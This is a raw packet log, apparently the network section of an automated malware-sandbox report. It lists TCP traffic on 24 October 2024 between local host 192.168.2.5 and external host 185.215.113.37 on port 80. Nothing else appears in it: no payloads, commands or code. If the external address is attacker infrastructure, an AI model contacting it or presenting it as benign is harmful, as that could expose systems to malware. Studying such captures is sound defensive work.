Oct 24, 2024 11:02:30.640258074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.640268087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.640283108 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.640297890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.640392065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.640408039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.640443087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.640460968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.640469074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.640477896 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.640480995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.640495062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.640505075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.640522003 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.640536070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.640738964 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.640767097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.640775919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.640784025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.640799046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.640810013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.640820026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.640830994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.640853882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.640855074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.640872955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.640880108 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.640887022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.640903950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.640921116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.640933037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.640948057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.640949965 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.640969038 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.640975952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.640990973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.640995026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.641007900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.641010046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.641026974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.641046047 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.641261101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.641278028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.641294003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.641303062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.641316891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.641333103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.641541004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.641581059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.641592026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.641617060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.641628027 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.641640902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.641655922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.641661882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.641678095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.641693115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.675288916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.675302982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.675334930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.675349951 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.675350904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.675368071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.675380945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.675410032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.675457954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.675473928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.675499916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.675509930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.675514936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.675529003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.675540924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.675544977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.675564051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.675575018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.675605059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.675622940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.675637007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.675652027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.675667048 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.675667048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.675693035 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.675717115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.718343973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.718362093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.718390942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.718406916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.718409061 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.718424082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.718427896 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.718461990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.755172968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.755229950 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.755254984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.755281925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.755296946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.755325079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.755331039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.755346060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.755359888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.755373955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.755398989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.755403042 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.755418062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.755429029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.755443096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.755456924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.755458117 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.755480051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.755481958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.755503893 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.755505085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.755518913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.755521059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.755536079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.755537987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.755552053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.755553961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.755564928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.755568981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.755585909 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.755599022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.755599976 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.755633116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.755644083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.755660057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.755678892 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.755696058 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.755784988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.755819082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.755825043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.755841970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.755872965 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.755939960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.755955935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.755978107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.755992889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.756000996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.756014109 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.756016970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.756032944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.756038904 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.756056070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.756064892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.756071091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.756081104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.756099939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.756108046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.756115913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.756123066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.756150007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.756165028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.756175041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.756181955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.756181955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.756195068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.756198883 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.756210089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.756227970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.756237030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.756251097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.756252050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.756268024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.756284952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.756289959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.756289959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.756303072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.756310940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.756316900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.756328106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.756352901 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.756352901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.756370068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.756373882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.756386995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.756408930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.756418943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.756436110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.756450891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.756464958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.756468058 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.756479979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.756493092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.756516933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.756520033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.756539106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.756544113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.756558895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.756563902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.756576061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.756578922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.756589890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.756596088 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.756606102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.756612062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.756622076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.756628990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.756649017 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.756659031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.756663084 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.756690025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.756721973 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.756736040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.756748915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.756767035 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.756792068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.756793022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.756855965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.756880045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.756892920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.756895065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.756908894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.756917953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.756926060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.756944895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.756951094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.756968975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.756985903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.756995916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.757010937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.757014990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.757042885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.757057905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.757072926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.757087946 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.757087946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.757114887 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.757126093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.757178068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.757203102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.757221937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.757239103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.757240057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.757262945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.757292986 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.757302046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.757334948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.757349014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.757364035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.757380009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.757384062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.757395029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.757402897 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.757419109 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.757432938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.757435083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.757447004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.757461071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.757493019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.757518053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.757538080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.757546902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.757546902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.757556915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.757601023 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.757616997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.757632017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.757651091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.757667065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.757705927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.757720947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.757735014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.757747889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.757754087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.757771015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.757781029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.757791042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.757807970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.757814884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.757822990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.757833004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.757847071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.757858038 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.757860899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.757872105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.757874012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.757890940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.757898092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.757913113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.757915020 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.757930040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.757940054 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.757956028 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.757970095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.757971048 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.757986069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.758002043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.758014917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.758016109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.758028984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.758037090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.758042097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.758045912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.758069038 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.758100033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.758258104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.758300066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.758304119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.758317947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.758335114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.758351088 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.758369923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.758424997 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.758431911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.758455992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.758462906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.758472919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.758492947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.758493900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.758503914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.758537054 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.759145975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.759181976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.759200096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.759215117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.759231091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.759247065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.759270906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.759288073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.759290934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.759327888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.759334087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.759351015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.759365082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.759367943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.759390116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.759392977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.759404898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.759412050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.759424925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.759427071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 11:02:30.759443045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 11:02:30.759448051 CEST	80	49704	185.215.113.37	192.168.2.5
